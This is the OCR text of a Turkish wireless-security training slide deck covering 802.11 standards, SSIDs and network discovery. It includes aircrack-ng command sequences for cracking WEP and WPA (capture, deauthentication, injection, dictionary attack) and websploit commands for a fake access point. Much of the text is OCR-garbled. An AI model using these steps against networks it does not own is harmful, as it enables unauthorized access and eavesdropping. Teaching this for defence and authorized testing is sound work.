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Kablosuz Ag Standartlari ve Temel Kavramlar

Kablosuz Ag Zayifliklari
Servis Engelleme Saldirilari

WPA ve WEP Sifresi Kirma Adimlari
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Kablosuz Ag Standartlari ||

Standart | Modiilasyon Frekans Veri hin Maksimum Yaymn
Teknigi bands (Maksimum) sinyal aralin tarihi
FHSS
802.11 2
DSSS 2.4 GHz 2 Mbps Tammlanmamig 1997
802.11a OFDM 5 GHz 54 Mbps 50m 1999
802.11b FHSS 2.4 GHz I 1 Mbps 100 m 1999
802.11g OFDM 2.4 GHz 54 Mbps 100 m 2003
OFDM 2.4 GHz
802.11 2
m DSSS 5 GHz 540 Mbps 250 m 2009
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802.11b/g/n Kanallari “‘@'

TUBITAK

2,4 GHz hizinda, her kanal 22 MHz genisliginde,

= Her kanal 5 MHz ile birbirinden ayrilmis durumda,

= Kanallar icin cakisma olabilir.

= Cakismayi engellemek icin her AP en az kanal uzalta konumlandirilmaldir. (1,6,11)

- B i ' L 4

Kanal sayisi lilkelere gore farklilik gosterebilir.

= ABD’de, 1-11 kanal kullaniimaktadir.
= Avrupa’da, kanal 1-13

® Francsa 10-13

= Japonya: 1-14
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802.11b/g/n Kanallari "

2,4 GHz hizinda, her kanal 22 MHz genisliginde,

= 2.4 Ghz de kanal genisligi 20mhz iken 5ghz de 40 mhz ye cikarilmistir.
= Dusuk frekansin mesafeyi, yuksek frekans kaliteyi artirir.

= Modem cikis glicu sinyal kirliligini artirir. Dusuk kanal seviyesi icin disik glic miktari
daha uygundur.

------- = - -

1 2 3 4 5 L] T ] 9 10 11 12 13 14 Channal
2412 2417 PAZE RAZT 2432 2437 2442 2447 2452 2457 2462 24687 2472 2.484 Center Frequency

Lovl ol 9

22 MHz
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Temel Kaviamlar __ ____[h4

Service Set Identifiers (SSIDs) : l
e —————————

= SSID: Kablosuz agin yayin yaptigi isim.
= BSSID: Basic SSID — Erisim noktasinin MAC adresi
= ESSID: Extended SSID - Bir veya birden fazla Erisim noktasinin sagladigi yayin ismi.

— - - : —- ”

Genellikle her erisim noktasi kendi ESSID ‘sine sahiptir.

Roaming saglanmasi i¢in birden fazla erisim noktasi tek bir ESSID ile yapilandurlabilir.
Or; otel aglar
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Kablosuz Ag zayifliklari -4

Servis engelleme (deauthentication, dissassociation)

Rogue erisim noktasi

Erisim noktasinda eksik ve gilivenli olmayan yapilandirma
Kripto acgikliklar

Sahte erisim noktasi ile kullanicilari aldatma
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Servis Engelleme [ \ 4

o ) ©

engelleme saldirilarina agiktirlar.

— ey —

engellemektir.
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Kablosuz Aglari Kirma (Cracking) [ A4

! TUBITAK

*  Erisim noktasi MAC

adresi BackTrack Linux

> |stemci MAC adresi www.backtrack-linux.org

- Agismi,

Kali Linux

www.kali.org

Kablosuz Adaptor

— -
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Kablosuz Aglari Bulma ||

= Nessus benzeri zafiyet tarayicilari ile kablosuz ag kesfi

= MAC adresml analiz etme

> 4 e e e T W 7. o

Kablosuz ag kesfi

= War walking

= Kablosuz ag trafigini yakalama ve monitor etme

L= e = e >
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MAC Adresi Analizi [\

Elde edilen MAC adresi ile OUI-Uretici tablosu iizerinden iiretici tespiti

http://standards.ieee.org/regauth/oui/oui.txt

b —
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NESSUS ile Erisim Noktasi Tespiti “ A4

TUBITAK

11026 numarali eklenti ile, |

Asagidaki kontroller yapilabilir:

= Active stack fingerprinting (isletim Sistemi Tespiti)
= 80. port Uzerinde calisan web yonetim arayulzlerinin banner analizi

= 21. port lzerinde calisan web ydnetim araylzlerinin banner analizi

= Varsayilan «publicy community isimleri ile SNMP sorgulari
w L ST J —p— = 3 T— " — -

|

= 125 farkh Erisim noktasi

= Hizh tarama amaciyla kullanilabilir.

= Sadece sinirli sayida port taramasi yapilabilir. {or; 20-200}

12



https://creativecommons.org/licenses/by-nc-nd/4.0/legalcode.tr

Dinleme ile Erisim Noktasi Tespiti (Sniffing) " @

TUBITAK
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Kablosuz Ag Dinleme ||‘@'

TUBITAK

W
Ad-hoc mode: \

Managed mode: \

Ayni zamanda tek bir kanal dinlenebilir.



https://creativecommons.org/licenses/by-nc-nd/4.0/legalcode.tr

Monitor Moda Gecis

TUBITAK
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Bilgi Elde Etme | ¥

i[o 0 DAOGA C = < < )
. I

((

| know your SSID

MAC adresleri, EN uretici bilgileri
SSID’ler

Kanallar ve veri hizlari

Kablosuz ag lizerinden giden ag protokolleri(ARP, IP...)
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Wireshark ile Kablosuz Agi Dinleme

Eie A Yew Go Cocture  Snalde  Ratuics  tek

o @ x % 8 8 ¢ » o F 2 BBEH s Qo @@ B X

=101 i

Beacon fram 455, FN=0,BX =10

Scacon fTrame,SN=34353 _ FN=O,851=-100,
=N

K

s Acknowledgement

e 00:1d:Te-2a:cb:i8d CATa, SN«3458, FN=-O

7 Acknowledgement

8 IntelCor_la:8d:6e DatTa, SN-100%, FN=-O

o IntelCor _la:8d:Se IEEE S02.11 Ack nowl edgement

10 00:1d:YerZa:cb:isT Broadcast IEEE 8502.11 Beacon Trame,SNe3459,FN-0,BI-100,
21 CO:1d:7e:2azdd Droadcast IEEE §02.11 Beacon Trame, SNe3L460,FN-0, 81100,
12 O.s32i1s 00:1d:7e:2a:db:sf Brocadcast IEEE 802.11 Seacon frame, K SN-3461 FN-0,SI-3100,

“wireless-Nets
“wireless-Nets
“wireless-nets =|

] =3

“ Frame 3 C129% byTtes on wire, 129 byTes capturaed)
* Radiorap Meader vO, Length 32
IEEE S02.11
Type/subtype: beacon frame (O=08)
= Frame Control: Ox0080 (Normal)
version: ©
Type: Management Trame (0)
Subtype: 8
* Flags: Ox0

testination a €s5: Broadcast (frxfrf:ff _Treofrzft)
SCurce address: 00:1d:T7e2a:ol S (0O:1d:Tez2a:adb:Sr)

BSS Xd: 90:1d - azdb:8F (00:1d:7e:2a:db:8F)
Fragment mnusbher o
Seqguence number: 34%6

« Frame check seguence: Ox7A82531b [correct])

= IEEE S02.11 wireless LAN managemant frame

MAC adresleri, SSID, kanallar, hizlari, data

OO0 U0 OO 20 Q0 eT 53 OO0 OU cof al el o5 13 90 U0 O - -

ool o 10 O2 & 09 a0 OO0 <% 9b 62 00 00O 2@ 71 82 58 1b -

00290 80 OO e 7 T TP r rf 00 1d 7e Za db BT - meme=~"..

0030 00 1d 7e JZa db 8Ff 00 d8 83 bl ee 89 93 00 00 O

0040 é3 00 11 08 00 Od 57 &9 72 4% 6 6% 73 73 2d 4e

D030 6% 74 73 01 08 82 82 Sb 96 24 30 48 6C G3 01 O

000 ©5 0% OO0 01 0O ©0 2a 01 o4 2F 02 © 32 04 O< 12

OO 7O 15 €0 dS¢ 09 00 10 1§ 02 02 75 00 00 00 71 2 58 ;’

D ation Pekd (wdari A ation), 2 Bytes P &P O B3SO M0 -
A B o 4 & ©

TUBITAK
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Erisim Noktasi Tespit Araglari " @

e SSID Tarayicilar
— NetStumbler
— MiniStumbler
— WellenReiter

* Analiz-Denetleme Yazilimlari
— AirMagnet
— AiroPeek
— AirDefense
— Kismet
— Ethereal
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Aircrack-ng || \ 4

TUBITAK

ARAIRCRACK-MNMG&G

BECAUSE 1I8N0ORINE UNSAFE RIRWAVES
LIOIFY T MEE ThiEm R0 SLUEY

—————————— e —————

# airmon-ng stop wlanO
# airmon-ng check wlanO

# airmon-ng start wlanO <channel>

# aireplay-ng -9 -e <ESSID> -a <MAC> wlanO
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WEP Sifreleme ? — “‘@'

! TUBITAK

= 64-bit veya 128-bit anahtar

= RC4 stream cipher , CRC-32 checksum

= 24-bitlik IV (initialization vector) = 2724 (16 million) IV sayisi
= 5000 paket sonrasi %50 ihtimalle IV tekrar eder.

= T e B - 1

Different methods have been developed

= 2001: Fluhrer, Mantin, and Shamir (FMS saldirisi) WEP akisini dinleyen pasif atak
yontemini acgikladi.

= 2005: FBI 3 dk. da WEP sifresini kiran demo yapti.
= 2006: Bittau, Handley ve Lackey aktif atagin mimkiin oldugunu gosterdi.

= 2007: Pychine, Tews, and Weinmann (“PTW” saldirisi) aktif saldiri yontemi,

20
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e — N

Ortak anahtar ile kimlik dogrulama :
(Shared Key Authentication)

/ » Plain-Text Challenga

T !
= T Cipher-Text Regponss

Cliert ]
Acce== Point
e
.l:|..
o K

F FPlain-Text Challe ngs
Attader \ Key Stream
[ Listening)

Cipher-Text Regponss
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5 Adimda WEP Sifresi Kirma

# airodump-ng wlanO

# airodump-ng -c <channel> -bssid <MAC> -w<output> wlanO

# aireplay-ng -1 0 -e <ESSID> -a <MAC> wlanO

# aireplay-ng -3 -b <MAC> wlanO

FMS attacks (slow) # aircrack-ng -f 1 -F <capture>.cap

PTW attacks (fast!) # aircrack-ng -P 2 <capture>.cap
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e —

e Kimlik Dogrulama
— 802.1x ¢ift yonli
— Anahtar dagitimi

e Sifreleme
— TKIP 128 bit RC4, 48 bit IV
— Her pakete yeni anahtar

e Butunluk
— MIC 64 bit kriptografik checksum
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WPA 802.11 El Sikismasi | v

Probe Request >
Probe Response

Auth Request

B Auth Challenge
<

Auth Response

éb_ﬁ —; X < Auth Success
Associate Request -
< Associate Response
DATA v

24
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WPA Sifreleme “ @

TUBITAK

Wi-Fi Protected Access: WPA[1999] ve WPA2[2006]

WPA Enterprlse
| 86 &
e OO

WPA PSK tekrar tretilebilir! ‘

WPA Personal

WPA- PSK

...bu yiizden WPA elsikismasini yakalamak gerekir.

Sozlik Saldirisi i

e

Rainbow Tables ‘ Promiscuous mod

-

Sniffing (Dinleme)

Deauthentication

Cracking(Kirma)

25
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WPA Cracking

TUBITAK

ifconfig <interface> down

iwconfig <interface> mode monitor
ifconfig <interface> up

airmon-ng stop <interface>

airmon-ng start <interface> <channel>

airodump-ng -¢ <channel> --bssid <bssid> -w <outp

aireplay-ng -0 <deauthentications_count> -a <bssid> -¢ <client_mac> <interface> aircrack-ng -w <dictionary> -b <bssid> <output_prefix>*.cap
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e B— Y

e Kimlik Dogrulama
— Zorunlu - 802.1x ile cift yonli

e Sifreleme
— 128 bit AES, 48 bit IV

e Butunluk
— MIC (CBC-MAC)

e Zayifhk:

— Mevcut EN’ler ve istemci adaptorleri desteklemiyor
olabilir.
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WPA2 guvenli midir? |‘@'

' TUBITAK

Wy i
N
! |
PSK cracking PEAP
PSK tool, Mis-config TKIP

Vulnerability Eavesdropping Vulnerability vulnerability

l 1 1 |,

|
| I |
2003 2004 2008
. AN RN J
Attack on Pre-Shared Key (PSK) Attack on 802.1x Attack on
Authentication Authentication Encryption
Implications: Implications: Implications:
Eavesdropping Client compromise Injection of small size
Unauthorized Access '@ﬂwes_to creste
N disruption
to the network

gloce

¥ MG RO 28
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TUBITAK

WEP WPA WPA2

Sifreleme Sifreleme yapisi WEP in aciklarini CCMP/AES

Kiridr. kapatiyor. CCMP/TKIP

RC4 algoritmasi TKIP/RCA4
Sifreleme 40/104 bit 128 bit anahtar 1.28 bit
Anahtari
\Y} 24 bit 48 bit 48 bit
Anahtar Anahtar sabittir. Anahtarlar her Anahtar
Degisikligi oturum,her paket degisikligine gerek

icin degisir. yoktur.
Anahtar yonetimi-| Anahtar yonetimi 802.1x 802.1x
yoktur
Kimlik Zayif'bir yontem 802.1x EAP 802.1x EAP
Dogrulama
Veri Batunlugu ICV MIC (TKIP) MIC (CCMP)
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Sahte Erisim Noktasi Olusturma [ \4
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 websploit

# websploit

# wsf > use network/fakeap

# wsf:Fake Ap > Show options

e
# wsf:Fake Ap > set ESSID
# wsf:Fake Ap > run
(4] WS PIN: -924z35"

[+] WPA PSK: 'E N
[+] AP SSID: '856584°'
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Websploit

Applications Places f
File Edit View Search Terminal Help

/N N\
NN X

Tue Jun 11, S:01 PM
root@kali: ~

/XX VAR
/7N \ %% Noae\

R e W TR
TR A T T R o I 10 S

N e N A ANV AVAN /\
‘N/_J/_7 \/ E NN

--=[WebSploit FrameWork
*¥*_ - —==[Version
- --==[ Codename
+---**___=—=[ Available Modules
--=[Update Date : [

wst = use network/fakeap

AP > set ESSID fake access point
ESSID => fake access point

wst:Fake AP > show options
Options Value

root@kali: ~ root@kali: ~

AN NN £ NN X NN
AN AN AN NENNY NN
 STU 5\ NN\ AN NATNL X
NS NS IS S NS SNSE N
N NN

Nzl

16

Deseription
Wireless Interface Name

ESSID Name For Fake AP
Channel Number

Description

TUBITAK
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sonue i

32
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N4

! TUBITAK

TCK 243/1 — Bir bilisim sistemine girme

= Bir bilisim sisteminin butlintne veya bir kismina, hukuka aykiri olarak giren veya

orada kalmaya devam eden kimseye iki yila kadar hapis veya adli para cezasi
verilir.

SLoEe
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Referansiar [}\4

http://www.wireshark.org/

http://www.nmap.org/

http://www.foundstone.com/

https://www.pcisecuritystandards.org

https://cassandra.cerias.purdue.edu

http://www.cisecurity.com/benchmarks.html

http://www.sans.org/score/checklists.php

http://sectools.org/

http://www.netcraft.com

http://www.google.com

http://sourceforge.net/projects/spiderfoot/
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TUBITAK

Tesekkurler
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